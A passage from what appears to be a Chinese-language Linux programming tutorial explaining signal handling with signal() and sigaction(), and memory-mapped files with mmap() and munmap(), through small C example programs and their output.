如果成功,此系统调用将返回一个函数的地址,该函数接受一个整数参数并且没有返回值。如果出错,此调用将返回 SIG_ERR。
尽管使用 signal() 可以调用用户注册的相应信号处理程序,但无法进行微调,例如屏蔽应阻塞的信号、修改信号的行为和其他功能。这些功能可以使用 sigaction() 系统调用来实现。
#include <signal.h> int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
此系统调用用于检查或更改信号操作。如果 act 不为空,则从 act 中安装信号 signum 的新操作。如果 oldact 不为空,则将先前的操作保存到 oldact 中。
sigaction 结构包含以下字段:
字段 1 - 在 sa_handler 或 sa_sigaction 中提到的处理程序。
void (*sa_handler)(int); void (*sa_sigaction)(int, siginfo_t *, void *);
sa_handler 的处理程序指定根据 signum 执行的操作,其中 SIG_DFL 表示默认操作,SIG_IGN 表示忽略信号,或者指向信号处理函数的指针。
sa_sigaction 的处理程序将信号编号作为第一个参数,指向 siginfo_t 结构的指针作为第二个参数,以及指向用户上下文的指针(有关详细信息,请检查 getcontext() 或 setcontext())作为第三个参数。
结构 siginfo_t 包含信号信息,例如要传递的信号编号、信号值、进程 ID、发送进程的真实用户 ID 等。
字段 2 - 要阻塞的信号集。
int sa_mask;
此变量指定在执行信号处理程序期间应阻塞的信号掩码。
字段 3 - 特殊标志。
int sa_flags;
此字段指定一组标志,用于修改信号的行为。
字段 4 − 恢复处理程序。
void (*sa_restorer) (void);
此系统调用在成功时返回 0,失败时返回 -1。
让我们考虑一些示例程序。
首先,让我们从一个生成异常的示例程序开始。在此程序中,我们尝试执行除以零运算,这会导致系统生成异常。
/* signal_fpe.c */ #include<stdio.h> int main() { int result; int v1, v2; v1 = 121; v2 = 0; result = v1/v2; printf("Result of Divide by Zero is %d\n", result); return 0; }
编译和执行步骤
Floating point exception (core dumped)
因此,当我们尝试执行算术运算时,系统生成了一个带有核心转储的浮点异常,这是信号的默认操作。
现在,让我们修改代码以使用 signal() 系统调用处理此特定信号。
/* signal_fpe_handler.c */ #include<stdio.h> #include<signal.h> #include<stdlib.h> void handler_dividebyzero(int signum); int main() { int result; int v1, v2; void (*sigHandlerReturn)(int); sigHandlerReturn = signal(SIGFPE, handler_dividebyzero); if (sigHandlerReturn == SIG_ERR) { perror("Signal Error: "); return 1; } v1 = 121; v2 = 0; result = v1/v2; printf("Result of Divide by Zero is %d\n", result); return 0; } void handler_dividebyzero(int signum) { if (signum == SIGFPE) { printf("Received SIGFPE, Divide by Zero Exception\n"); exit (0); } else printf("Received %d Signal\n", signum); return; }
编译和执行步骤
Received SIGFPE, Divide by Zero Exception
如上所述,信号由系统生成(在执行某些操作时,例如除以零等),或者用户也可以以编程方式生成信号。如果要以编程方式生成信号,请使用库函数 raise()。
现在,让我们再看一个程序来演示如何处理和忽略信号。
假设我们使用 raise() 发出了信号,然后会发生什么?发出信号后,当前进程的执行将停止。那么停止的进程会发生什么?可能有两种情况:第一,在需要时继续执行。第二,终止(使用 kill 命令)进程。
要继续停止进程的执行,请向该特定进程发送 SIGCONT。您还可以发出 fg(前台)或 bg(后台)命令来继续执行。此处,这些命令仅重新启动最后一个进程的执行。如果有多个进程停止,则仅恢复最后一个进程。如果要恢复先前停止的进程,则需要使用作业号恢复作业(使用 fg/bg)。
以下程序用于使用 raise() 函数发出信号 SIGSTOP。信号 SIGSTOP 也可以由用户按下 CTRL + Z(Control + Z)键生成。发出此信号后,程序将停止执行。发送信号 (SIGCONT) 以继续执行。
在以下示例中,我们使用命令 fg 恢复停止的进程。
/* signal_raising.c */ #include<stdio.h> #include<signal.h> #include<stdlib.h> int main() { printf("Testing SIGSTOP\n"); raise(SIGSTOP); return 0; }
编译和执行步骤
Testing SIGSTOP [1]+ Stopped ./a.out ./a.out
现在,增强以前的程序,通过从另一个终端发出 SIGCONT 来继续停止进程的执行。
/* signal_stop_continue.c */ #include<stdio.h> #include<signal.h> #include <sys/types.h> #include <unistd.h> void handler_sigtstp(int signum); int main() { pid_t pid; printf("Testing SIGSTOP\n"); pid = getpid(); printf("Open Another Terminal and issue following command\n"); printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid); raise(SIGSTOP); printf("Received signal SIGCONT\n"); return 0; }
编译和执行步骤
Testing SIGSTOP Open Another Terminal and issue following command kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379 [1]+ Stopped ./a.out Received signal SIGCONT [1]+ Done ./a.out
在另一个终端
kill -SIGCONT 30379
到目前为止,我们已经看到了处理系统生成的信号的程序。现在,让我们看看通过程序生成的信号(使用 raise() 函数或通过 kill 命令)。此程序生成信号 SIGTSTP(终端停止),其默认操作是停止执行。但是,由于我们现在正在处理信号而不是默认操作,因此它将进入已定义的处理程序。在这种情况下,我们只是打印消息并退出。
/* signal_raising_handling.c */ #include<stdio.h> #include<signal.h> #include<stdlib.h> void handler_sigtstp(int signum); int main() { void (*sigHandlerReturn)(int); sigHandlerReturn = signal(SIGTSTP, handler_sigtstp); if (sigHandlerReturn == SIG_ERR) { perror("Signal Error: "); return 1; } printf("Testing SIGTSTP\n"); raise(SIGTSTP); return 0; } void handler_sigtstp(int signum) { if (signum == SIGTSTP) { printf("Received SIGTSTP\n"); exit(0); } else printf("Received %d Signal\n", signum); return; }
编译和执行步骤
Testing SIGTSTP Received SIGTSTP
我们已经看到了执行默认操作或处理信号的实例。现在,是时候忽略信号了。在这里,在这个示例程序中,我们正在注册信号 SIGTSTP 以通过 SIG_IGN 忽略,然后我们正在发出信号 SIGTSTP(终端停止)。当生成信号 SIGTSTP 时,它将被忽略。
/* signal_raising_ignoring.c */ #include<stdio.h> #include<signal.h> #include<stdlib.h> void handler_sigtstp(int signum); int main() { void (*sigHandlerReturn)(int); sigHandlerReturn = signal(SIGTSTP, SIG_IGN); if (sigHandlerReturn == SIG_ERR) { perror("Signal Error: "); return 1; } printf("Testing SIGTSTP\n"); raise(SIGTSTP); printf("Signal SIGTSTP is ignored\n"); return 0; }
编译和执行步骤
Testing SIGTSTP Signal SIGTSTP is ignored
到目前为止,我们已经观察到我们有一个信号处理程序来处理一个信号。我们能否使用一个处理程序来处理多个信号?答案是肯定的。让我们用一个程序来考虑这一点。
以下程序执行以下操作:
步骤 1 − 注册一个处理程序 (handleSignals) 来捕获或处理信号 SIGINT (CTRL + C) 或 SIGQUIT (CTRL + \)
步骤 2 − 如果用户生成信号 SIGQUIT(通过 kill 命令或键盘控制使用 CTRL + \),处理程序只需打印消息并返回。
步骤 3 − 如果用户第一次生成信号 SIGINT(通过 kill 命令或键盘控制使用 CTRL + C),则它会将信号修改为从下次开始执行默认操作(使用 SIG_DFL)。
步骤 4 − 如果用户第二次生成信号 SIGINT,它将执行默认操作,即终止程序。
/* Filename: sigHandler.c */ #include<stdio.h> #include<unistd.h> #include<signal.h> void handleSignals(int signum); int main(void) { void (*sigHandlerInterrupt)(int); void (*sigHandlerQuit)(int); void (*sigHandlerReturn)(int); sigHandlerInterrupt = sigHandlerQuit = handleSignals; sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt); if (sigHandlerReturn == SIG_ERR) { perror("signal error: "); return 1; } sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit); if (sigHandlerReturn == SIG_ERR) { perror("signal error: "); return 1; } while (1) { printf("\nTo terminate this program, perform the following: \n"); printf("1. Open another terminal\n"); printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid()); sleep(10); } return 0; } void handleSignals(int signum) { switch(signum) { case SIGINT: printf("\nYou pressed CTRL+C \n"); printf("Now reverting SIGINT signal to default action\n"); signal(SIGINT, SIG_DFL); break; case SIGQUIT: printf("\nYou pressed CTRL+\\ \n"); break; default: printf("\nReceived signal number %d\n", signum); break; } return; }
编译和执行步骤
To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates) ^C You pressed CTRL+C Now reverting SIGINT signal to default action To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates) ^\You pressed CTRL+\ To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 120 Terminated
另一个终端
kill 71
第二种方法
To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates) ^C You pressed CTRL+C Now reverting SIGINT signal to default action To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates) ^C
我们知道,要处理信号,我们有两个系统调用,即 signal() 或 sigaction()。到目前为止,我们已经看到了 signal() 系统调用,现在是时候使用 sigaction() 系统调用了。让我们修改上述程序以使用 sigaction() 执行,如下所示:
/* Filename: sigHandlerSigAction.c */ #include<stdio.h> #include<unistd.h> #include<signal.h> void handleSignals(int signum); int main(void) { void (*sigHandlerReturn)(int); struct sigaction mysigaction; mysigaction.sa_handler = handleSignals; sigemptyset(&mysigaction.sa_mask); mysigaction.sa_flags = 0; sigaction(SIGINT, &mysigaction, NULL); if (mysigaction.sa_handler == SIG_ERR) { perror("signal error: "); return 1; } mysigaction.sa_handler = handleSignals; sigemptyset(&mysigaction.sa_mask); mysigaction.sa_flags = 0; sigaction(SIGQUIT, &mysigaction, NULL); if (mysigaction.sa_handler == SIG_ERR) { perror("signal error: "); return 1; } while (-1) { printf("\nTo terminate this program, perform either of the following: \n"); printf("1. Open another terminal and issue command: kill %d\n", getpid()); printf("2. Issue CTRL+C 2 times (second time it terminates)\n"); sleep(10); } return 0; } void handleSignals(int signum) { switch(signum) { case SIGINT: printf("\nYou have entered CTRL+C \n"); printf("Now reverting SIGINT signal to perform default action\n"); signal(SIGINT, SIG_DFL); break; case SIGQUIT: printf("\nYou have entered CTRL+\\ \n"); break; default: printf("\nReceived signal number %d\n", signum); break; } return; }
让我们看看编译和执行过程。在执行过程中,让我们看看两次发出 CTRL+C,您可以针对此程序尝试其余的检查/方法(如上所述)。
编译和执行步骤
To terminate this program, perform either of the following: 1. Open another terminal and issue command: kill 3199 2. Issue CTRL+C 2 times (second time it terminates) ^C You have entered CTRL+C Now reverting SIGINT signal to perform default action To terminate this program, perform either of the following: 1. Open another terminal and issue command: kill 3199 2. Issue CTRL+C 2 times (second time it terminates) ^C
内存映射
mmap() 系统调用提供调用进程虚拟地址空间中的映射,该映射将文件或设备映射到内存中。这有两种类型:
文件映射或文件支持映射 − 此映射将进程虚拟内存的区域映射到文件。这意味着读取或写入这些内存区域会导致读取或写入文件。这是默认的映射类型。
匿名映射 − 此映射映射进程虚拟内存的区域,而不受任何文件的支持。内容初始化为零。此映射类似于动态内存分配 (malloc()),并在某些 malloc() 实现中用于某些分配。
一个进程映射中的内存可能与其他进程中的映射共享。这可以通过两种方式完成:
当两个进程映射文件的同一区域时,它们共享相同的物理内存页。
如果创建子进程,它将继承父进程的映射,并且这些映射引用与父进程相同的物理内存页。在子进程中对数据进行任何更改后,将为子进程创建不同的页面。
当两个或多个进程共享相同的页面时,每个进程都可以根据映射类型查看其他进程对页面内容所做的更改。映射类型可以是私有的或共享的:
私有映射 (MAP_PRIVATE) − 对此映射内容的修改对其他进程不可见,并且映射不会传递到基础文件。
共享映射 (MAP_SHARED) − 对此映射内容的修改对其他进程可见,并且映射传递到基础文件。
#include <sys/mman.h> void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
上述系统调用在成功时返回映射的起始地址,在错误时返回 MAP_FAILED。
虚拟地址 addr 可以是用户指定的,也可以由内核生成(在将 addr 作为 NULL 传递时)。字段 length 指示需要以字节为单位的映射大小。字段 prot 指示内存保护值,例如 PROT_NONE、PROT_READ、PROT_WRITE、PROT_EXEC,分别用于可能无法访问、读取、写入或执行的区域。此值可以是单个 (PROT_NONE),也可以与任何三个标志(最后三个)进行 OR 运算。字段 flags 指示映射类型,可以是 MAP_PRIVATE 或 MAP_SHARED。字段“fd”指示标识要映射的文件的文件描述符,字段“offset”表示文件的起始点,如果需要映射整个文件,则偏移量应为零。
#include <sys/mman.h> int munmap(void *addr, size_t length);
上述系统调用在成功时返回 0,在错误时返回 -1。
系统调用 munmap 执行已映射内存区域的取消映射。字段 addr 指示映射的起始地址,字段 length 指示要取消映射的映射的大小(以字节为单位)。通常,映射和取消映射将针对整个映射区域。如果必须不同,则应缩小或分成两部分。如果 addr 没有任何映射,则此调用将不起作用,并且调用返回 0(成功)。
让我们考虑一个示例:
步骤 1 − 将字母数字字符写入文件,如下所示:
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
步骤 2 − 使用 mmap() 系统调用将文件内容映射到内存中。这将在映射到内存后返回起始地址。
步骤 3 − 使用数组表示法访问文件内容(也可以使用指针表示法访问),因为不读取昂贵的 read() 系统调用。使用内存映射,避免用户空间、内核空间缓冲区和缓冲区缓存之间多次复制。
步骤 4 − 重复读取文件内容,直到用户输入“-1”(表示访问结束)。
步骤 5 − 执行清理活动,即取消映射已映射的内存区域 (munmap())、关闭文件和删除文件。
/* Filename: mmap_test.c */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/mman.h> void write_mmap_sample_data(); int main() { struct stat mmapstat; char *data; int minbyteindex; int maxbyteindex; int offset; int fd; int unmapstatus; write_mmap_sample_data(); if (stat("MMAP_DATA.txt", &mmapstat) == -1) { perror("stat failure"); return 1; } if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) { perror("open failure"); return 1; } data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0); if (data == (caddr_t)(-1)) { perror("mmap failure"); return 1; } minbyteindex = 0; maxbyteindex = mmapstat.st_size - 1; do { printf("Enter -1 to quit or "); printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex); scanf("%d",&offset); if ( (offset >= 0) && (offset <= maxbyteindex) ) printf("Received char at %d is %c\n", offset, data[offset]); else if (offset != -1) printf("Received invalid index %d\n", offset); } while (offset != -1); unmapstatus = munmap(data, mmapstat.st_size); if (unmapstatus == -1) { perror("munmap failure"); return 1; } close(fd); system("rm -f MMAP_DATA.txt"); return 0; } void write_mmap_sample_data() { int fd; char ch; struct stat textfilestat; fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666); if (fd == -1) { perror("File open error "); return; } // Write A to Z ch = 'A'; while (ch <= 'Z') { write(fd, &ch, sizeof(ch)); ch++; } // Write 0 to 9 ch = '0'; while (ch <= '9') { write(fd, &ch, sizeof(ch)); ch++; } // Write a to z ch = 'a'; while (ch <= 'z') { write(fd, &ch, sizeof(ch)); ch++; } close(fd); return; }
输出
Enter -1 to quit or enter a number between 0 and 61: 3 Received char at 3 is D Enter -1 to quit or enter a number between 0 and 61: 28 Received char at 28 is 2 Enter -1 to quit or enter a number between 0 and 61: 38 Received char at 38 is c Enter -1 to quit or enter a number between 0 and 61: 59 Received char at 59 is x Enter -1 to quit or enter a number between 0 and 61: 65 Received invalid index 65 Enter -1 to quit or enter a number between 0 and 61: -99 Received invalid index -99 Enter -1 to quit or enter a number between 0 and 61: -1